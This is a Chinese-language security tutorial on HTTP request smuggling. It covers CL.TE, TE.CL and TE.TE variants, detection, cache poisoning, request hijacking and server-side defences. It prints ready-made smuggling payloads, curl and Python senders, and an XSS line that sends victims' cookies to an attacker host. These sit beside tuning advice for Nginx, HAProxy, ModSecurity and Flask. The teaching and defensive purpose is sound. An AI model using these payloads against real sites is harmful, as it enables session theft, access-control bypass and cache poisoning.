HTTP Request Smuggling 攻擊

HTTP Request Smuggling Attack Techniques

前言

HTTP Request Smuggling(HTTP 請求走私)是一種針對 HTTP 協定解析差異的攻擊技術。當前端伺服器(如負載平衡器、反向代理)與後端伺服器對於 HTTP 請求邊界的解析方式不一致時,攻擊者可以利用這種差異「走私」惡意請求,繞過安全機制、劫持其他使用者的請求,甚至造成快取投毒等嚴重後果。

本文將深入探討 HTTP Request Smuggling 的原理、攻擊變體、偵測方法以及防禦措施。


1. Request Smuggling 原理

HTTP 請求邊界的判定

HTTP/1.1 協定提供兩種方式來標示請求主體(request body)的長度:

  1. Content-Length (CL):明確指定請求主體的位元組數
  2. Transfer-Encoding (TE):使用分塊傳輸編碼(chunked transfer encoding)

當一個 HTTP 請求同時包含這兩個標頭時,不同的伺服器可能會優先採用不同的標頭來判定請求邊界,這就是 Request Smuggling 攻擊的根本原因。

基本概念圖解

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
                    ┌─────────────────┐
                    │   攻擊者請求    │
                    └────────┬────────┘
                    ┌─────────────────┐
                    │   前端伺服器    │ ─── 使用 Content-Length 解析
                    └────────┬────────┘
                    ┌─────────────────┐
                    │   後端伺服器    │ ─── 使用 Transfer-Encoding 解析
                    └─────────────────┘
                    前端與後端看到不同的請求邊界
                    → 走私的請求被當作新請求處理

RFC 規範

根據 RFC 7230,當請求同時包含 Content-Length 和 Transfer-Encoding 標頭時,應優先使用 Transfer-Encoding。然而,並非所有伺服器都嚴格遵守此規範。


2. CL.TE 與 TE.CL 攻擊

2.1 CL.TE 攻擊

CL.TE 表示前端伺服器使用 Content-Length,而後端伺服器使用 Transfer-Encoding。

攻擊原理

1
2
3
4
5
6
7
8
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

在這個範例中:

  • 前端伺服器:根據 Content-Length: 13,認為請求主體為 0\r\n\r\nSMUGGLED(13 位元組)
  • 後端伺服器:根據 Transfer-Encoding: chunked,讀取到 0\r\n\r\n 就認為請求結束,SMUGGLED 被當作下一個請求的開頭

完整的 CL.TE 攻擊範例

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
X-Ignore: X

這個攻擊會讓後端伺服器將 GET /admin HTTP/1.1 視為獨立的新請求。

2.2 TE.CL 攻擊

TE.CL 表示前端伺服器使用 Transfer-Encoding,而後端伺服器使用 Content-Length。

攻擊原理

1
2
3
4
5
6
7
8
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

在這個範例中:

  • 前端伺服器:根據 Transfer-Encoding: chunked,讀取完整的分塊資料
  • 後端伺服器:根據 Content-Length: 3,只讀取 8\r\n,剩餘的 SMUGGLED 被當作下一個請求

完整的 TE.CL 攻擊範例

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

5c
POST /admin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

注意5c 是十六進位值,代表 92 位元組(走私請求的長度)。

分塊傳輸編碼說明

Chunked Transfer Encoding 格式:

1
2
3
4
5
6
<chunk size in hex>\r\n
<chunk data>\r\n
<chunk size in hex>\r\n
<chunk data>\r\n
0\r\n
\r\n

3. TE.TE 混淆技術

當前端和後端伺服器都支援 Transfer-Encoding 時,攻擊者可以透過混淆 Transfer-Encoding 標頭,使其中一方無法正確解析而回退到 Content-Length。

常見的混淆技術

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[space]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

實際攻擊範例

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
Transfer-encoding: cow

5c
POST /admin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

在這個範例中,某些伺服器會忽略含有 Transfer-encoding: cow 的標頭,而回退使用 Content-Length。


4. 偵測與利用方法

4.1 時間延遲偵測

偵測 CL.TE 漏洞

1
2
3
4
5
6
7
8
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4

1
A
X

如果伺服器存在 CL.TE 漏洞,後端會等待更多的分塊資料,導致明顯的時間延遲(通常為連線逾時)。

偵測 TE.CL 漏洞

1
2
3
4
5
6
7
8
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 6

0

X

如果伺服器存在 TE.CL 漏洞,後端會將 X 視為下一個請求的開始,等待更多資料。

4.2 差異回應偵測

發送兩個請求來確認漏洞:

攻擊請求(CL.TE):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Transfer-Encoding: chunked

e
q=smuggling&x=
0

GET /404 HTTP/1.1
Foo: x

正常請求:

1
2
3
4
5
6
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

如果第二個請求收到 404 回應,表示走私成功。


5. 快取投毒攻擊

HTTP Request Smuggling 可以與 Web 快取結合,造成快取投毒(Cache Poisoning)攻擊。

攻擊原理

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
攻擊者 ─────────────────────────────────────────────────────────────►
       │ 1. 發送走私請求,將惡意內容               │
       │    注入到下一個請求的回應中               │
       │                                          │
       ▼                                          ▼
┌─────────────┐                           ┌─────────────┐
│  前端/快取   │                           │   後端      │
└─────────────┘                           └─────────────┘
       │                                          │
       │ 2. 快取儲存被污染的回應                  │
       ▼                                          │
┌─────────────┐                                   │
│  受害者存取  │ ◄────────────────────────────────┘
│  被污染快取  │   3. 受害者收到惡意內容
└─────────────┘

攻擊範例

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 129
Transfer-Encoding: chunked

0

GET /static/poisoned.js HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/javascript

alert('XSS')

當快取伺服器將惡意回應快取後,所有請求 /static/poisoned.js 的使用者都會收到被污染的內容。

快取投毒 + XSS

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 137
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: vulnerable-website.com
Content-Type: text/html

<script>document.location='https://attacker.com/?c='+document.cookie</script>

6. 請求劫持

6.1 繞過前端安全控制

許多網站使用前端伺服器實施安全控制,如:

  • 存取控制清單(ACL)
  • IP 白名單
  • 使用者驗證

透過 Request Smuggling,攻擊者可以繞過這些前端控制。

存取後台管理介面

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 139
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: vulnerable-website.com
Cookie: session=admin_session_token
X-Forwarded-For: 127.0.0.1

6.2 劫持其他使用者的請求

這是 Request Smuggling 最危險的利用方式之一。

攻擊流程

  1. 攻擊者發送走私請求,請求主體不完整
  2. 下一個正常使用者的請求會被附加到走私請求中
  3. 攻擊者可以竊取使用者的認證資訊
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 364
Transfer-Encoding: chunked

0

POST /comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=attacker_session

comment=

當下一個使用者發送請求時,其請求會被附加到 comment= 後面,包括 Cookie 等敏感資訊。

6.3 竊取認證憑證

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 300
Transfer-Encoding: chunked

0

POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

username=attacker&password=x&next=

受害者的登入請求會被附加,攻擊者可以看到 next= 參數後面的完整請求內容。


7. 測試工具與技巧

7.1 Burp Suite

Burp Suite 是測試 HTTP Request Smuggling 最常用的工具。

使用 Burp Repeater

  1. 關閉自動更新 Content-Length:

    • 在 Repeater 中取消勾選 “Update Content-Length”
  2. 手動控制換行符號:

    • 使用 \r\n 確保正確的 CRLF 格式
    • 點擊 \n 按鈕顯示不可見字元

Burp Scanner

Burp Suite Professional 版本包含自動化的 Request Smuggling 掃描功能:

1
Scanner → Scan configuration → Issues reported → HTTP request smuggling

7.2 HTTP Request Smuggler 擴充套件

安裝 Burp Suite 的 HTTP Request Smuggler 擴充套件:

1
Extender → BApp Store → HTTP Request Smuggler → Install

使用方式:

  1. 選擇目標請求
  2. 右鍵 → Extensions → HTTP Request Smuggler → Smuggle probe

7.3 smuggler.py

開源的 Python 工具,專門用於偵測 Request Smuggling 漏洞。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
# 安裝
git clone https://github.com/defparam/smuggler.git
cd smuggler
pip3 install -r requirements.txt

# 基本使用
python3 smuggler.py -u https://target.com/

# 指定方法
python3 smuggler.py -u https://target.com/ -m POST

# 詳細輸出
python3 smuggler.py -u https://target.com/ -v

7.4 http-request-smuggling (Nuclei Template)

使用 Nuclei 進行大規模掃描:

1
2
3
4
5
# 安裝 Nuclei
go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest

# 執行 HTTP Request Smuggling 相關模板
nuclei -u https://target.com -t http/vulnerabilities/request-smuggling/

7.5 curl 手動測試

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# 測試 CL.TE
curl -i -s -k -X POST \
  -H "Host: target.com" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Content-Length: 6" \
  -H "Transfer-Encoding: chunked" \
  --data-binary $'0\r\n\r\nG' \
  "https://target.com/"

# 使用 --data-raw 發送精確的資料
curl -i -s -k -X POST \
  -H "Host: target.com" \
  -H "Transfer-Encoding: chunked" \
  -H "Content-Length: 4" \
  --data-raw $'1\r\nA\r\nX' \
  "https://target.com/"

7.6 Python 腳本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/env python3
import socket
import ssl

def send_smuggle_request(host, port, payload, use_ssl=True):
    """發送 HTTP Request Smuggling 測試請求"""

    # 建立 socket
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(10)

    if use_ssl:
        context = ssl.create_default_context()
        context.check_hostname = False
        context.verify_mode = ssl.CERT_NONE
        sock = context.wrap_socket(sock, server_hostname=host)

    sock.connect((host, port))
    sock.sendall(payload.encode())

    response = b""
    try:
        while True:
            data = sock.recv(4096)
            if not data:
                break
            response += data
    except socket.timeout:
        pass

    sock.close()
    return response.decode('utf-8', errors='ignore')

# CL.TE 測試 payload
clte_payload = (
    "POST / HTTP/1.1\r\n"
    "Host: target.com\r\n"
    "Content-Type: application/x-www-form-urlencoded\r\n"
    "Content-Length: 35\r\n"
    "Transfer-Encoding: chunked\r\n"
    "\r\n"
    "0\r\n"
    "\r\n"
    "GET /admin HTTP/1.1\r\n"
    "X-Ignore: X"
)

# 執行測試
response = send_smuggle_request("target.com", 443, clte_payload)
print(response)

8. 防禦措施

8.1 伺服器配置

Nginx

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
# 禁止包含 Transfer-Encoding 和 Content-Length 的請求
if ($http_transfer_encoding ~* "chunked" ) {
    set $invalid_te 1;
}

if ($content_length) {
    set $invalid_te "${invalid_te}1";
}

if ($invalid_te = "11") {
    return 400;
}

# 限制 HTTP 版本
proxy_http_version 1.1;

# 正規化標頭
proxy_set_header Connection "";

Apache

1
2
3
4
5
6
7
8
9
# 拒絕模糊的請求
<IfModule mod_reqtimeout.c>
    RequestReadTimeout header=20-40,MinRate=500 body=20,MinRate=500
</IfModule>

# 使用 mod_security 規則
SecRule REQUEST_HEADERS:Transfer-Encoding "chunked" \
    "chain,id:1,phase:1,deny,status:400"
SecRule REQUEST_HEADERS:Content-Length "!^$"

HAProxy

1
2
3
4
5
6
frontend http-in
    # 拒絕同時包含 CL 和 TE 的請求
    http-request deny if { hdr(transfer-encoding) -i chunked } { hdr(content-length) -m found }

    # 正規化 Transfer-Encoding
    http-request set-header Transfer-Encoding chunked if { hdr(transfer-encoding) -i chunked }

8.2 架構層面

  1. 使用 HTTP/2:HTTP/2 使用二進位框架,從根本上消除了 Request Smuggling 的可能性
1
2
3
4
5
# Nginx HTTP/2 配置
server {
    listen 443 ssl http2;
    # ...
}
  1. 統一前後端軟體:確保所有層級使用相同的 HTTP 解析器

  2. 端對端 TLS:避免在中間層終止 TLS 後使用 HTTP/1.1

8.3 應用程式層面

  1. 驗證請求:在應用程式層驗證請求完整性
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
from flask import Flask, request, abort

app = Flask(__name__)

@app.before_request
def check_smuggling():
    # 檢查是否同時存在 CL 和 TE
    if ('Content-Length' in request.headers and
        'Transfer-Encoding' in request.headers):
        abort(400, "Invalid request headers")

    # 檢查 Transfer-Encoding 是否正規
    te = request.headers.get('Transfer-Encoding', '')
    if te and te.lower().strip() != 'chunked':
        abort(400, "Invalid Transfer-Encoding")
  1. 使用 WAF 規則
1
2
3
4
5
6
7
# ModSecurity 規則
SecRule REQUEST_HEADERS:Transfer-Encoding "!^chunked$" \
    "id:1001,phase:1,deny,status:400,msg:'Invalid Transfer-Encoding'"

SecRule REQUEST_HEADERS:Transfer-Encoding "@rx ." \
    "id:1002,phase:1,chain,deny,status:400"
SecRule REQUEST_HEADERS:Content-Length "@rx ."

8.4 監控與偵測

  1. 記錄異常請求
1
2
3
4
5
6
7
8
9
import logging

def log_suspicious_request(request):
    if is_smuggling_attempt(request):
        logging.warning(
            f"Potential smuggling attempt: {request.remote_addr} "
            f"CL={request.headers.get('Content-Length')} "
            f"TE={request.headers.get('Transfer-Encoding')}"
        )
  1. 設定告警
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# Prometheus 告警規則
groups:
  - name: http_smuggling
    rules:
      - alert: SuspiciousHTTPRequest
        expr: rate(http_smuggling_attempts_total[5m]) > 10
        for: 1m
        labels:
          severity: critical
        annotations:
          summary: "Potential HTTP Request Smuggling detected"

8.5 定期測試

建立定期的安全測試流程:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
#!/bin/bash
# 定期執行 HTTP Request Smuggling 測試

TARGETS=("app1.example.com" "app2.example.com")

for target in "${TARGETS[@]}"; do
    echo "Testing $target..."
    python3 smuggler.py -u "https://$target/" -q --json >> smuggling_report.json
done

# 發送報告
cat smuggling_report.json | mail -s "HTTP Smuggling Test Report" security@example.com

總結

HTTP Request Smuggling 是一種嚴重的 Web 安全漏洞,其危害包括:

  • 繞過安全控制
  • 快取投毒
  • 請求劫持與會話竊取
  • 憑證竊取

防禦重點:

  1. 升級到 HTTP/2:這是最有效的防禦措施
  2. 統一 HTTP 解析器:確保前後端使用相同的實作
  3. 嚴格驗證請求:拒絕模糊或不符合規範的請求
  4. 定期安全測試:持續監控和測試潛在漏洞

參考資源

comments powered by Disqus
Built with Hugo
Theme Stack designed by Jimmy